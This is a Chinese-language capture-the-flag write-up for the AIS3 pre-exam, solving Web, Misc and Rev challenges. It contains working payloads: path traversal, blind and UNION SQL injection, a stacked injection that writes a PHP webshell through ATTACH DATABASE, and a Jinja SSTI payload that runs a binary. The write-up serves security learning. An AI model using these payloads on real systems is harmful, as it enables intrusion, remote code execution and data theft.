---
# System prepended metadata

title: Pre-exam write up
tags: [CTF]

---

這次 pre-exam 獲得34名的成績，雖然解出的題目不是 Web 就是 Web 相關的，技能全點在 Web 上了，但所幸解開了兩題高分題，獲得了不少分數。
![{86270B94-0C97-4357-A9FE-CE0477632370}](https://hackmd.io/_uploads/rJD9aAWMex.png)
![image](https://hackmd.io/_uploads/HkoCaRZfgx.png)

# Misc 
Misc 有點慘，除了 welcome ，只解出了與 web 相關的一題。

---

### Welcome

這題直接照著打就可以了，略。
flag：
`AIS3{Welcom_And_Enjoy_The_CTF_!}`

---

### AIS3 TinyServer-Web/Misc

這題把給的伺服器檔案逆向後發現有路徑穿越問題，可以用`..%2f..%2f..%2f`造成路徑穿越，穿越到根目錄就可以看到 flag 所在檔案，訪問就可以拿到 flag 了。

payload：
`..%2f..%2f..%2freadable_flag_FppSPP4sD3dlc4zF1vW74AOXBwnmZv6u`
flag：
`AIS3{tInY_We8_S3Rv3R_WItH_FILe_8ROWs1nG_@S_@_FeAtuRE}`

# rev
rev 也只解開了一題 Web 相關...

---

### web flag check
這題攔截請求發現 check 時沒有任何請求送出，大概就知道是前端題目了，f12 打開看，可以看到一個 index.wasm，載下來後用 wasm-decompil 反編譯，找到關鍵的 flagchecker 部分丟給 ChatGPT 就解開了。 

flag：
`AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}`

# Web

### Tomorin db
這題基本送分，flag 位於 /flag，但根據 source code 可以知道，直接訪問 /flag 會被跳轉，但只要`GET /.%2fflag`就可以繞過。
```
func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}
```
flag：
`AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`

---

### Login Screen 1
這題算送分，解法非常多，一開始沒放 source code 時，是先猜測發現弱密碼 admin/admin，再透過對登入的 username 欄位 boolean 盲注拚出 2FA code，獲得 FLAG1。

Payload：
一開始想透過 hex(zeroblob()) 進行大量運算造成時間盲注，但後來發現這樣可能會有 Dos 或網路延遲的誤差，所以透過 hex(zeroblob(10000000000)) 去分配超過上限的記憶體，以此報錯來判斷 boolean，最終拼出 2FA code 登入 admin 獲得 FLAG1。
```
先確認 admin 的 2FA code 長度
admin' AND CASE WHEN length(code)=20 THEN hex(zeroblob(10000000)) ELSE 1 END --
確認長度後開始逐字猜測 0~9 。
admin' AND CASE WHEN substr(code,20,1)='' THEN hex(zeroblob(10000000000)) ELSE 1 END --
```
後來開放 source code 後我看到 docker-compose.yml，內容：
```
services:
  cms:
    build: ./cms
    ports:
      - "36368:80"
    volumes:
      - ./cms/html/2fa.php:/var/www/html/2fa.php:ro
      - ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
      - ./cms/html/index.php:/var/www/html/index.php:ro
      - ./cms/html/init.php:/var/www/html/init.php:ro
      - ./cms/html/logout.php:/var/www/html/logout.php:ro
      - ./cms/html/users.db:/var/www/html/users.db:ro
      - ./cms/html/styles.css:/var/www/html/styles.css:ro
    environment:
      - FLAG1=AIS3{1.This_is_the_first_test_flag}
      - FLAG2=AIS3{2.This_is_the_second_test_flag}
```
以下這一行是重點：
``` - ./cms/html/users.db:/var/www/html/users.db:ro```
代表 users.db 也在網站目錄下且唯讀，也就是說直接訪問 /users.db 就可以下載資料庫了，也就直接拿到 2FA code。
![{E0EDBF6C-3309-488F-AD2E-D35DD30C9A7A}](https://hackmd.io/_uploads/SyNUhkMzgl.png)

當然，也可以透過 UNION 語法，自訂一組帳密和 2FA，只要帳號名稱是 admin，例如帳號輸入：
```
'UNION SELECT 3,'admin','$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC',0 from users
```
密碼輸入 admin，2FA 輸入 0，就可以獲得 FLAG1了。

flag：
`AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}`

---

### Login Screen 2
這題重點在第二個注入點，2fa.php 的 SQL 查詢其實存在注入點：
```
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $code = $_POST['code'];
    $username = $_SESSION['username'];
    $result = $db->exec("SELECT * FROM users WHERE username = '$username'");

```
這裡的 $username 是直接從 session 取值，因不是我們控制的輸入，看起來似乎沒有辦法造成注入，但實際上 $username 可控，因為 $_SESSION['username'] 是根據在 index.php 登入時輸入的 username 作為 session，也就是說我們在登入時輸入的 SQLi Payload 可以在 2FA 進行二次注入。

而這兩次注入是有差別的，index.php 使用的是 prepare()，而 2fa.php 使用的是 exec()。。
```
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
        $result = $stmt->execute();
        $user = $result->fetchArray();
```
這差異導致 2fa.php 的注入點可以進行更多的操作，因 exec() 是允許多行 SQL 語句的，也就是可以用`;`進行堆疊注入。

舉例來說，在 index.php 我們輸入：
```
' UNION SELECT 1,'admin','$2y$10$T4An1Vtmy1McstMXH3pyxu0rvl6PY4asZr5PJCzA2XGyBbCLccsCa','000000'; ATTACH DATABASE '/var/www/html/shell.php' AS p; …
```
第一個`;`後的語句會被註解掉，也就是 ATTACH DATABASE 以後的內容都無法執行。但我們透過構建 UNION SELECT 登入獲得 session 後，整段 SQLi Payload 都會被存入 session，並在 2FA 驗證時觸發後續的多行語句，而我們可以使用 ATTACH DATABASE 寫入 webshell 造成 RCE，再讀取環境變數獲得 FLAG2。

Payload：
```
'UNION SELECT 1,'admin','$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC',0;
ATTACH DATABASE '/var/www/html/shell.php' AS p;
CREATE TABLE IF NOT EXISTS p.webshell(code TEXT);
DELETE FROM p.webshell;             
INSERT INTO p.webshell VALUES('<?php system("$_GET[cmd]"); ?>');
--
```
flag：
`AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}`

---

### :cat: cat 
這題相信很多人都被 command injection 誤導了，實際上是 SSTI 加上 Apache Rewrite 與 Action 的漏洞，但我打出了一個非預期解，這裡我先講解非預期解。

首先我 fuzz 測試輸入，發現如```; & | ` $```等被限制，但`< > { } [ ] ( ) ? *`等可以使用，而當我輸入 * 時可以讀到 source code，其中有兩個重點，分別為黑名單：

```
{% if a in [";","&","|","","$","#","=","!",".","\n","\r"] %} 
```
以及命令執行的 shell：
```
，{{ os.popen("echo | env -i cat " + catfile).buffer.read().decode('utf8', 'ignore') }}
```
並且觀察到網站是模板，推測可能不是 Command injection 而是 SSTI，於是我嘗試用 2> 將 {{7*7}} 寫入檔案，例如：
```
cat {{7*7}} 2> test
```
因伺服器找不到檔案 {{7*7}}，錯誤訊息被重導向輸出到 test，我們訪問或用 cat 讀取 test 可以看到純文字內容：
```
cat: '{{7*7}}': No such file or directory
```
寫入的檔案沒有被當模板渲染，所以後續我繼續 fuzzing，讀取到 apache 的 conf 發現有以下設定：
```
RewriteRule ^(.+.cat)$ - [H=application/x-httpd-cat,END]
Action application/x-httpd-cat /cgi-bin/render
```
簡單來說，伺服器會把 .cat 檔案交給 /cgi-bin/render 處理，render 會渲染模板，也就是說我寫入的檔案名稱必須是 .cat 結尾。

但問題是我們的輸入禁止含有`.`，無法使用 `cat {{7*7}} 2> test.cat` 寫入  .cat 檔案，我們也沒有 index.cat 的寫入權限，所以無法將錯誤訊息追加寫入 index.cat。

之後我又找到伺服器的 ScriptAlias 設定：
```
<IfDefine ENABLE_USR_LIB_CGI_BIN>
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	<Directory "/usr/lib/cgi-bin">
		AllowOverride None
		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
		Require all granted
	</Directory>
</IfDefine>
```
發現可以透過 GET /cgi-bin/render/xxx，將網站目錄下任意檔名的檔案直接丟給 render 處理，進行模板渲染，繞過 Rewrite 與 Action 規則。

成功造成 SSTI 後，就是構建不需要禁止字元也能執行 /readflag 的 payload，以下是我的 payload：
```
'{{ (builtins["__"+"import__"])("subprocess")["Popen"](["/readflag"], **{"stdout":-1})["communicate"]()[0] }}' 2> test
```
需要注意的是，雖然單引號沒有被禁止，但shell在寫入單引號或反斜線時會做轉義，會導致原本的 payload 被破壞，所以無法使用單引號，因此我改用雙引號構建 payload ，並在輸入時用單引號包裹，變成一串純字串，再將 payload 透過 2> 寫入 test 後，最終 GET /cgi-bin/render/test 就可以拿到 flag 了。

另外這一題的預期解其實在 RewriteRule 這一行：
```
RewriteRule ^(.+.cat)$ - [H=application/x-httpd-cat,END]
```
regex 規則 `^(.+.cat)$` 有漏洞，檔案名稱可以是 abccat、xcat 等，只要是 cat 結尾就可以通過 regex 對比，被送給 render 處理。

flag：
`AIS3{mEoW~m3Ow~Me0W~m30W~M3ow~M3OW~524368e6a58cac99}`